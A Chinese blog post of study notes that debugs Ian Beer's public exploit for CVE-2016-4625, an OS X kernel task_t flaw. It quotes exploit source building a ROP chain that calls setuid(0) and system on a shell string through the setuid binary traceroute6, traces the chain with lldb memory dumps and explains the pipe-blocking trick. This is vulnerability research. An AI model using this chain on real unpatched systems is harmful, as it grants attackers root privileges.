XNU内核中task_t相关漏洞分析笔记(Part I)

2016-10-31 09:52:24来源:作者:mrh的学习分享人点击

0x00 摘要

​ 前两天 Project Zero 的blog上面,Ian Beer发表了一篇新的文章,讨论了在 xnu 的内核在设计上存在的一个问题,从而可以导致提权,沙箱逃逸等一洗了的问题。并且提供了相应的的POC与EXP源码。这篇文章是调试与分析其中第一个漏洞 CVE-2016-4625 的部分。

task_t considered harmful

OS X/iOS kernel use-after-free in IOSurface

0x01 准备工作 1.1 基础知识

​ 在阅读本文之前,需要稍微了解一下 mach_msg 相关的知识,以及一些使用 mach_msg 的技巧,理解父进程与子进程交换 port 之后可以做一些操作。

再看CVE-2016-1757—浅析mach message的使用 Changes to XNU Mach IPC 1.2 调试环境

​ 本文的 EXP 的运行环境是 OS X 10.11.6 。使用的虚拟机软件是parallels desktop

0x02 漏洞成因

​ task_t considered harmful 这篇已经说的很清楚了。这幅图大致反应出整个流程。

0x03 Exploit调试

对理解整个 exploit 关键的几个点进行调试。

3.1 setup_payload_and_offsets

首先通过 memmem 函数在 libsystem_c.dylib 中找到几个相应的 ROP 组件。

ret指令所在地址 0x7fff8fe520d5 。 (lldb) dis -s retlibsystem_c.dylib`strcpy: 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 pop_rdi_ret指令所在地址 0x7fff8fe8a213 。 (lldb) dis -s pop_rdi_retlibsystem_c.dylib`addr2ascii: 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 stack_shift_gadget指令所在地址 0x7fff8fed1cec (lldb) dis -s stack_shift_gadgetlibsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret

因为 traceroute6 的栈足够长,所以 exploit 将 payload 就放在栈上,通过 stack_shift_gadget 跳到一串连续的 ret 的 gadget 处,从而触发提权代码的执行。

在args_u64的 ROP 栈处理好之后,内存布局如下:

(lldb) memory read -size 8 -format x -c100 args_u640x101000000: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000010: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000020: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000030: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000040: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000050: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000060: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000070: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000080: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000090: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010000a0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010000b0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010000c0: 0x00007fff8fe520d5 0x00007fff8fe520d5

可以看到 0x00007fff8fe520d5 就是 ret 的 gad_get 的地址。

383 // ret-slide384 int i;385 for (i = 0; i < ret_slide_length; i++) {386 args_u64[i] = ret;387 }388389 args_u64[i] = pop_rdi_ret;390 args_u64[i+1] = 0;391 args_u64[i+2] = (uint8_t*)&setuid;392 args_u64[i+3] = pop_rdi_ret;393 args_u64[i+4] = bin_sh;394 args_u64[i+5] = (uint8_t*)&system;

在执行389-394行之后,最后的 stack 内存的布局如下:

(lldb) p/x i(int) $32 = 0x00000102(lldb) p &args_u64[0x102](uint8_t **) $30 = 0x0000000101000810(lldb) memory read -size 8 -format x -count 30 0x00000001010007900x101000790: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007a0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007b0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007c0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007d0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007e0: 0x00007fff8fe520d5 0x00007fff8fe520d50x1010007f0: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000800: 0x00007fff8fe520d5 0x00007fff8fe520d50x101000810: 0x00007fff8fe8a213 0x00000000000000000x101000820: 0x00007fff8a183628 0x00007fff8fe8a2130x101000830: 0x00007fff8fedb69e 0x00007fff8fed0e0b0x101000840: 0x0000000000000000 0x00000000000000000x101000850: 0x0000000000000000 0x00000000000000000x101000860: 0x0000000000000000 0x00000000000000000x101000870: 0x0000000000000000 0x0000000000000000

可以看到 0x101000800 之前都是用 ret 的 gad_get 填充的,从 0x101000810 开始是伪造的调用栈的结构。大致如下图所示:

/*args * +-------------------+ * | ret | +---------+ * +-------------------+ | * | ret | 0x101个 * +-------------------+ | * | ret | +---------+ * +-------------------+ * | pop_rdi_ret | * +-------------------+ * | 0 | * +-------------------+ * | setuid | * +-------------------+ * | pop_rdi_ret | * +-------------------+ * | bin_sh | * +-------------------+ * | system | * +-------------------+ **/

ROP 的逻辑很简单,通过跳转到上面任意一个 ret ,就会执行setuid(0),并且创建一个具有 root 权限的 shell 。通过 execve 调用 traceroute6 的时候需要将这一段并到 execve 的参数上面去。

398 size_t argv_allocation_size = (ret_slide_length+100)*8*8;399 char** target_argv = malloc(argv_allocation_size);400 memset(target_argv, 0, argv_allocation_size);401 target_argv[0] = progname;402 target_argv[1] = optname;403 target_argv[2] = optval;404 int argn = 3;405 target_argv[argn++] = &args[0];406 for(int i = 1; i < target_argv_rop_size; i++) {407 if (args[i-1] == 0) {408 target_argv[argn++] = &args[i];409 }410 }411 target_argv[argn] = NULL;

最后 target_argv 的结构大致如下:

/* * +-------------------+ * | progname | * +-------------------+ * | optname | * +-------------------+ * | optval | * +-------------------+ * | &arg[0] | * +-------------------+ * | &arg[1] | * +-------------------+ * | &arg[2] | * +-------------------+ * | ... | * +-------------------+ * | &arg[n] | * +-------------------+ * | NULL | * +-------------------+ */ 3.2 do_parent 598 //overwrite the fptr value:599 *(uint64_t*)(shared_page+fptr_offset) = stack_shift_gadget;

do_parent 的这一行代码修改了 __clean 处的地址。

在执行599行之前观察。

(lldb) p/x *(uint64_t*)(shared_page+fptr_offset)(uint64_t) $34 = 0x00007fff8fe8e61d(lldb) dis -s 0x00007fff8fe8e61dlibsystem_c.dylib`_cleanup: 0x7fff8fe8e61d <+0>: push rbp 0x7fff8fe8e61e <+1>: mov rbp, rsp 0x7fff8fe8e621 <+4>: mov rdi, qword ptr [rip - 0x1c95c588] ; (void *)0x00007fff8fe8d6ce: __sflush 0x7fff8fe8e628 <+11>: pop rbp 0x7fff8fe8e629 <+12>: jmp 0x7fff8fed6c6c ; symbol stub for: _fwalk

在执行了 overwrite 之后的内存如下:

(lldb) p/x *(uint64_t*)(shared_page+fptr_offset)(uint64_t) $36 = 0x00007fff8fed1cec(lldb) dis -s 0x00007fff8fed1ceclibsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e 3.3 traceroute6

要调试 execve 启动的 traceroute6 ,先通过 lldb 启动 surfacer00t_10_11_6 ,对 fork 下断点。

(lldb) b forkBreakpoint 6: where = libsystem_c.dylib`fork, address = 0x00007fff8fe60f70

执行到 fork 后会停下来。

* thread #1: tid = 0x6e32, 0x00007fff8fe60f70 libsystem_c.dylib`fork, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 frame #0: 0x00007fff8fe60f70 libsystem_c.dylib`forklibsystem_c.dylib`fork:-> 0x7fff8fe60f70 <+0>: push rbp 0x7fff8fe60f71 <+1>: mov rbp, rsp 0x7fff8fe60f74 <+4>: push rbx 0x7fff8fe60f75 <+5>: push rax

这个时候启动另外一个 lldb 进程,这个 lldb 要用 sudo 启动,否则会无法 attach 。

(lldb) process attach -name traceroute6 -waitfor

通过这条指令,等待 traceroute6 执行。同时继续执行 fork 的 lldb 。

(lldb) process attach -name traceroute6 -waitforThere is a running process, detach from it and attach?: [Y/n]Process 569 detachedProcess 580 stopped* thread #1: tid = 0x7244, 0x00007fff8a182612 libsystem_kernel.dylib`__write_nocancel + 10, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff8a182612 libsystem_kernel.dylib`__write_nocancel + 10libsystem_kernel.dylib`__write_nocancel:-> 0x7fff8a182612 <+10>: jae 0x7fff8a18261c ; <+20> 0x7fff8a182614 <+12>: movq %rax, %rdi 0x7fff8a182617 <+15>: jmp 0x7fff8a17c7cd ; cerror_nocancel 0x7fff8a18261c <+20>: retq

就可以调试 ROP 的执行过程。

有一点要注意,除了要 sudo 启动第二个 lldb 之外,系统还需要关闭 SIP ,但是在Parallels Desktop中进入OS X的恢复模式,有点奇特。并不是command+R。

Information

This article describes how to boot into your OS X virtual machine’s Recovery Mode on Parallels Desktop.

Start Parallels Desktop but do not start your virtual machine. Open virtual machine’s configuration window -> Hardware -> Boot Order . Enable Select boot device on startup option and close configuration window. Start your OS X virtual machine, click on the virtual machine window to make it grab the focus and press any key when prompted: On the Boot Manager window choose Mac OS X Recovery :

也可以看 这里 。

通过查看 __cleanup 处的汇编代码可以看到函数已经被替换了。

(lldb) p __cleanup(void *) $0 = 0x00007fff8fed1cec(lldb) dis -s __cleanuplibsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: addq $0x1d88, %rsp ; imm = 0x1D88 0x7fff8fed1cf3 <+1942>: popq %rbx 0x7fff8fed1cf4 <+1943>: popq %r12 0x7fff8fed1cf6 <+1945>: popq %r13 0x7fff8fed1cf8 <+1947>: popq %r14 0x7fff8fed1cfa <+1949>: popq %r15 0x7fff8fed1cfc <+1951>: popq %rbp 0x7fff8fed1cfd <+1952>: retq 0x7fff8fed1cfe <+1953>: callq 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: movl $0x3e, (%rax)

可以对这里打断点后释放,就会执行到我们的栈上跳转的代码。

(lldb) b *0x00007fff8fed1cecBreakpoint 1: where = libsystem_c.dylib`realpath$DARWIN_EXTSN + 1935, address = 0x00007fff8fed1cec(lldb) cProcess 580 resumingProcess 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cec libsystem_c.dylib`realpath$DARWIN_EXTSN + 1935, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x00007fff8fed1cec libsystem_c.dylib`realpath$DARWIN_EXTSN + 1935libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cec <+1935>: addq $0x1d88, %rsp ; imm = 0x1D88 0x7fff8fed1cf3 <+1942>: popq %rbx 0x7fff8fed1cf4 <+1943>: popq %r12 0x7fff8fed1cf6 <+1945>: popq %r13

观察 $rsp 寄存器

(lldb) register readGeneral Purpose Registers: rax = 0x00007fff8fed1cec libsystem_c.dylib`realpath$DARWIN_EXTSN + 1935 rbx = 0x0000000000000001 rcx = 0x0000050000000000 rdx = 0x00007fff735360d0 atexit_mutex + 32 rdi = 0x00007fff735360b0 atexit_mutex rsi = 0x0000050000000500 rbp = 0x00007fff523dcc70 rsp = 0x00007fff523dcc58 r8 = 0x00000000fffffffc r9 = 0x00007fff735360c8 atexit_mutex + 24 r10 = 0x00000000ffffffff r11 = 0xffffffff00000000 r12 = 0x0000000000000219 r13 = 0x000000010d823818 traceroute6`___lldb_unnamed_function1$$traceroute6 + 4828 r14 = 0x00007fff523dd610 r15 = 0x00007fff735372a0 optarg rip = 0x00007fff8fed1cec libsystem_c.dylib`realpath$DARWIN_EXTSN + 1935 rflags = 0x0000000000000202 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) memory read -size 8 -format x -count 100 0x00007fff523dcc58+0x1d880x7fff523de9e0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523de9f0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea00: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea10: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea20: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea30: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea40: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea50: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea60: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea70: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea80: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea90: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523deaa0: 0x00007fff8fe520d5 0x00007fff8fe520d5...0x7fff523decb0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523decc0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523decd0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dece0: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523decf0: 0x00007fff8fe520d5 0x00007fff8fe520d5

执行 0x7fff8fed1cec 处开始的 gad_get 之后,就会修改 rsp ,并通过 ret 指令,跳转到具体的 payload 。

-> 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret

执行的流程大致如下

(lldb) nProcess 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952libsystem_c.dylib`realpath$DARWIN_EXTSN:-> 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e 0x7fff8fed1d09 <+1964>: jmp 0x7fff8fed1734 ; <+471>(lldb)Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85libsystem_c.dylib`strcpy:-> 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 0x7fff8fe520df <+95>: mov rax, rdi

可以看到,最后一个执行的 是 0x7fff8fe520d5 处的 ret 。

观察寄存器可以发现$rip= 0x00007fff8fe520d5 ,$rsp= 0x00007fff523dea18 。而栈已经变成了这样了。

(lldb) memory read -size 8 -format x -count 100 0x00007fff523dea180x7fff523dea18: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea28: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea38: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea48: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea58: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea68: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea78: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea88: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523dea98: 0x00007fff8fe520d5 0x00007fff8fe520d5

继续执行代码

(lldb) nProcess 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116libsystem_c.dylib`addr2ascii:-> 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 0x7fff8fe8a217 <+120>: mov rax, rbx

执行了我们的第一个 ROP 的 gad_get 。这个时候再观察我们的函数栈

(lldb) memory read -size 8 -format x -count 30 $rsp-0x200x7fff523def50: 0x00007fff8fe520d5 0x00007fff8fe520d50x7fff523def60: 0x00007fff8fe520d5 0x00007fff8fe8a2130x7fff523def70: 0x0000000000000000 0x00007fff8a1836280x7fff523def80: 0x00007fff8fe8a213 0x00007fff8fedb69e0x7fff523def90: 0x00007fff8fed0e0b 0x00000000000000000x7fff523defa0: 0x0000000000000000 0x00000000000000000x7fff523defb0: 0x0000000000000000 0x00000000000000000x7fff523defc0: 0x0000000000000000 0x00000000000000000x7fff523defd0: 0x0000000000000000 0x00000000000000000x7fff523defe0: 0x0000000000000000 0x00000000000000000x7fff523deff0: 0x0000000000000000 0x00000000000000000x7fff523df000: 0x0000000000000000 0x00000000000000000x7fff523df010: 0x0000000000000000 0x00000000000000000x7fff523df020: 0x0000000000000000 0x00000000000000000x7fff523df030: 0x0000000000000000 0x0000000000000000

就是我们构造的栈。

继续执行,也确实会看到相应的函数被执行。

(lldb) nProcess 580 stopped* thread #1: tid = 0x7244, 0x00007fff8a183628 libsystem_kernel.dylib`setuid, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8a183628 libsystem_kernel.dylib`setuidlibsystem_kernel.dylib`setuid:-> 0x7fff8a183628 <+0>: mov eax, 0x2000017 0x7fff8a18362d <+5>: mov r10, rcx 0x7fff8a183630 <+8>: syscall 0x7fff8a183632 <+10>: jae 0x7fff8a18363c ; <+20> ...省略n步...Process 580 stopped* thread #1: tid = 0x7244, 0x00007fff8fed0e0b libsystem_c.dylib`system, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed0e0b libsystem_c.dylib`systemlibsystem_c.dylib`system:

到此, exploit 最基本的逻辑算是理清楚了。

0x04 关于阻塞子进程

​ 阻塞子进程的技巧所要达到的目的就是,让子进程调用 execve 函数之后,内核中执行完 task_t 相关数据修改后因为 Pipe 阻塞的并且已经满了,所以不会立即开始执行 traceroute6 的 main 函数。这样就给父进程做内存改写的时间窗口。

0x05 小结

​ 分析到这里,只是初步了解了 exploit 的原理,对整个漏洞的分析才刚刚开始,有更多值得挖掘和思考的地方。这篇文章仅仅希望能够帮助大家解决研究 OS X 内核漏洞的一些最基础的问题和小技巧。如果有不足之处还希望大家指出:)

reference

1. The LLDB Debugger

2. task_t considered harmful

3. How to boot into OS X Recovery Mode on Parallels Desktop

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台